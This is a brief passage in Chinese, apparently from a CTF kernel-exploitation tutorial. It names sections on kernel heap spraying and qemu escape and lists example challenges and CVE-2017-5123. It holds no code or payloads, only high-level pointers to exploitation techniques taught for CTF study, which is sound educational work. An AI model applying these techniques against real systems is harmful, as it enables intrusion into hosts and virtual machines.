例题:0CTF2018 Final - baby kernel

0x07.内核堆喷(heap spraying)

一种爆破手法

例题:CVE-2017-5123

👴寻思 CTF 好像也妹出过考这个的题啊,那只能拿个 CVE 来简单讲讲🌶

0x08.qemu逃逸

就CTF而言,qemu 逃逸主要利用的是加载了存在漏洞的第三方PCI设备,可以在 qemu 启动脚本中的 -device 项中看出

例题:D^3CTF2021 - d3dev